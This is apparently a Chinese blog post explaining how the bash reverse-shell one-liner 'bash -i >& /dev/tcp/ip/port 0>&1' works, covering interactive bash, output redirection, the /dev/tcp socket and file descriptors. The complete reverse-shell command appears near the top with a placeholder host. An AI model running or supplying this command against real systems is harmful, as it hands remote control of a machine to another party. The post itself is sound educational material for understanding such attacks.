利用 bash 反弹 shell 的方法很简单，百度一搜索就出来了，大部分都会给出这么一条命令
bash -i >& /dev/tcp/ip/port 0>&1
但是为什么这样就能反弹一个 shell 呢？
bash -i ：产生一个交互式的 shell
>& : 复制一个文件
/dev/tcp/ip/port : 和远程主机建立一个 socket 连接
0>&1 : 将标准输入重定向到标准输出
Bash 的激活选项
-c string 该选项表明string中包含了一条命令.如 bash -c ls ~
-i 使Bash以交互式方式运行
-r 使Bash以受限方式运行
--login 使Bash以登录Shell方式运行
--posix 使Bash遵循POSIX标准
--verbose 使Bash显示所有其读入的输入行
--help 打印Bash的使用信息
--version 打印版本信息
--noprofile
--norc
--rcfile file
>&
符号在 linux 系统里代表的是重定向， 举个例子
ls bebe >& 1.txt
bebe 这个文件夹是不存在的，这个时候会发生什么呢？
会报错吗？不会的，因为错误信息被重定向到 1.txt 文件里了
在 linux 系统里面，各种文件都有自己的标识符，0 代表的是标准输入，1 代表的是标准输出， 2 代表的是标准错误输出，在上面的例子里，因为不存在 bebe 这个文件夹，所以在使用 ls 命令时系统会返回一个错误信息，这就是一个标准错误输出，而如果 bebe 文件夹存在的时候会是什么样呢？为了显示区别，我在 bebe 文件夹创建了一个 test 文件
可以看到，当用 2> 重定向到 3.txt 时是失败了的，里面没有任何东西，前面说了，2 在 linux 系统中代表的是标准错误输出，但是此时 bebe 文件夹是存在的，里面也有文件，所以系统不会返回一个错误信息，而是一个标准输出文件，用 1> 就能正确操作了。
既然有 > ，那么肯定就有 < 了，> 是将输出重定向， < 正好是反过来，重定向输入
/dev/tcp/ip/port
与一台主机指定端口建立 socket 连接
0 >& 1
这里将输入重定向到输入，如果反过来会发生什么,嘿嘿，测试一下
看到没，我在 linux 执行命令，但是命令在 windows 显示出来了，但是命令的回显又是在 linux 本机显示的，这个顺序反了啊
最后
对于这个命令的执行，我也只是查了一些资料，简单测试了一下，从我的理解来看，第一个 >& 是把 bash -i 生成的交互式 shell 重定向到远程主机的 port 上，最后的 0>&1 则是把本该在 linux 上的回显再重定向到 bash 的输入，而此时 bash 的输入是在远程主机之中，这就实现了命令的执行和回显都在远程主机中，方便进行操作。
